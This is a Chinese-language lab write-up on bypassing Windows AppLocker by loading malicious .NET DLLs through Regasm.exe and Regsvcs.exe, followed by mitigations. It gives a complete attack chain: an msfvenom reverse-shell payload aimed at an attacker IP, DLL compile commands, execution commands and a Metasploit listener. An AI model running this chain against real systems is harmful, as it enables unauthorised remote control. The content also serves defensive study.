攻击复现 —— 利用Regasm.exe与Regsvcs.exe绕过AppLocker
字数 1580 2025-08-18 11:39:00

利用Regasm.exe与Regsvcs.exe绕过AppLocker的技术分析与防护指南

1. 技术背景

AppLocker(应用程序控制策略)是Windows系统的一项重要安全功能,允许管理员通过定义规则来控制哪些程序、安装程序、脚本可以在计算机上运行。规则可以基于:

  • 用户名名称
  • 发布者名称
  • 产品名称
  • 文件路径
  • 文件哈希
  • 文件版本

2. 攻击原理

Regasm.exe和Regsvcs.exe是Windows系统中用于注册和注销.NET程序集的实用工具,它们具有以下特点:

  • 默认位于受信任的系统目录中
  • 可以加载并执行DLL文件中的代码
  • 执行时不会创建新进程,而是以自身进程运行DLL代码
  • 通常被AppLocker默认规则允许执行

3. 攻击复现环境

3.1 实验环境

  • 攻击机:Kali Linux,IP 192.168.195.154
  • 受害机:Windows 7 32位,IP 192.168.195.145
    • 用户:管理员权限用户root,普通权限用户test
  • 工具:Metasploit、Ollydbg
  • 文件:calc_signed.dll、calc_unsigned.dll、msf_signed.dll、msf_unsigned.dll

3.2 准备工作

  1. 在受害机上启动"Application Identity"服务(AppLocker功能生效的先决条件)
  2. 配置AppLocker规则(控制面板 > 管理工具 > 本地安全策略 > 应用程序控制策略 > AppLocker)

4. 攻击步骤详解

4.1 生成恶意DLL

  1. 使用msfvenom生成C#格式的payload:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.154 LPORT=4444 -f csharp
    
  2. 准备恶意DLL源代码:

    • 从GitHub获取基础代码模板:regsvcs.cs
    • 替换其中的shellcode部分为生成的payload
  3. 使用csc.exe编译DLL:

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:calc_signed.dll calc.cs /keyfile:key.snk
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:calc_unsigned.dll calc.cs
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msf_signed.dll msf.cs /keyfile:key.snk
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msf_unsigned.dll msf.cs
    
  4. 生成签名密钥(可选):

    "C:\Program Files\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\sn.exe" -k key.snk
    

4.2 执行绕过攻击

管理员权限下执行:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe msf_signed.dll

普通权限下执行(仅卸载操作):

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U msf_signed.dll

4.3 攻击效果

  1. 计算器弹出(测试用)
  2. 建立反向连接会话(实际攻击)
    • 攻击机开启监听:
      msfconsole
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.195.154
      set LPORT 4444
      exploit
      
    • 获取的shell可以执行多种操作:
      • 下载文件
      • 截屏
      • 获取系统信息
      • 执行指定程序
      • 在用户有权限的位置创建文件夹并上传恶意文件

5. 技术分析

5.1 逆向分析

使用Ollydbg分析msf_signed.dll的执行流程:

  1. 加载DLL后,创建新线程
  2. 线程中使用connect()函数连接攻击机IP(192.168.195.154)
  3. 连接成功后使用recv()函数接收数据
  4. 使用VirtualAlloc()分配内存空间存储接收的数据(PE文件)
  5. 跳转到PE文件内存空间执行攻击代码

5.2 关键发现

  • Regsvcs.exe加载DLL时必须签名才能成功执行
  • Regasm.exe可以加载未签名的DLL
  • 两种工具执行时都不会创建新进程,绕过AppLocker的进程创建规则
  • 普通用户权限下可以通过卸载操作执行代码

6. 防护措施

  1. AppLocker配置优化

    • 开启AppLocker功能
    • 为Regasm.exe和Regsvcs.exe设置明确的执行规则
    • 限制只有特定用户/组可以使用这些工具
  2. 系统安全实践

    • 不轻易注册来历不明的DLL
    • 不运行来历不明的软件
    • 及时更新病毒库和系统补丁
  3. 高级防护方案

    • 使用"铁穹高级持续性威胁系统"等专业防护产品
    • 结合流量检测与沙箱分析功能检测潜在威胁
  4. 监控与审计

    • 监控Regasm.exe和Regsvcs.exe的异常使用
    • 审计DLL注册和卸载操作

7. 参考资源

  1. PentestLab - AppLocker Bypass Regasm and Regsvcs
  2. 3gstudent的GitHub示例代码
  3. Microsoft官方文档关于AppLocker的最佳实践
利用Regasm.exe与Regsvcs.exe绕过AppLocker的技术分析与防护指南 1. 技术背景 AppLocker(应用程序控制策略)是Windows系统的一项重要安全功能,允许管理员通过定义规则来控制哪些程序、安装程序、脚本可以在计算机上运行。规则可以基于: 用户名名称 发布者名称 产品名称 文件路径 文件哈希 文件版本 2. 攻击原理 Regasm.exe和Regsvcs.exe是Windows系统中用于注册和注销.NET程序集的实用工具,它们具有以下特点: 默认位于受信任的系统目录中 可以加载并执行DLL文件中的代码 执行时不会创建新进程,而是以自身进程运行DLL代码 通常被AppLocker默认规则允许执行 3. 攻击复现环境 3.1 实验环境 攻击机 :Kali Linux,IP 192.168.195.154 受害机 :Windows 7 32位,IP 192.168.195.145 用户:管理员权限用户root,普通权限用户test 工具 :Metasploit、Ollydbg 文件 :calc_ signed.dll、calc_ unsigned.dll、msf_ signed.dll、msf_ unsigned.dll 3.2 准备工作 在受害机上启动"Application Identity"服务(AppLocker功能生效的先决条件) 配置AppLocker规则(控制面板 > 管理工具 > 本地安全策略 > 应用程序控制策略 > AppLocker) 4. 攻击步骤详解 4.1 生成恶意DLL 使用msfvenom生成C#格式的payload: 准备恶意DLL源代码: 从GitHub获取基础代码模板: regsvcs.cs 替换其中的shellcode部分为生成的payload 使用csc.exe编译DLL: 生成签名密钥(可选): 4.2 执行绕过攻击 管理员权限下执行: 普通权限下执行(仅卸载操作): 4.3 攻击效果 计算器弹出(测试用) 建立反向连接会话(实际攻击) 攻击机开启监听: 获取的shell可以执行多种操作: 下载文件 截屏 获取系统信息 执行指定程序 在用户有权限的位置创建文件夹并上传恶意文件 5. 技术分析 5.1 逆向分析 使用Ollydbg分析msf_ signed.dll的执行流程: 加载DLL后,创建新线程 线程中使用connect()函数连接攻击机IP(192.168.195.154) 连接成功后使用recv()函数接收数据 使用VirtualAlloc()分配内存空间存储接收的数据(PE文件) 跳转到PE文件内存空间执行攻击代码 5.2 关键发现 Regsvcs.exe加载DLL时必须签名才能成功执行 Regasm.exe可以加载未签名的DLL 两种工具执行时都不会创建新进程,绕过AppLocker的进程创建规则 普通用户权限下可以通过卸载操作执行代码 6. 防护措施 AppLocker配置优化 : 开启AppLocker功能 为Regasm.exe和Regsvcs.exe设置明确的执行规则 限制只有特定用户/组可以使用这些工具 系统安全实践 : 不轻易注册来历不明的DLL 不运行来历不明的软件 及时更新病毒库和系统补丁 高级防护方案 : 使用"铁穹高级持续性威胁系统"等专业防护产品 结合流量检测与沙箱分析功能检测潜在威胁 监控与审计 : 监控Regasm.exe和Regsvcs.exe的异常使用 审计DLL注册和卸载操作 7. 参考资源 PentestLab - AppLocker Bypass Regasm and Regsvcs 3gstudent的GitHub示例代码 Microsoft官方文档关于AppLocker的最佳实践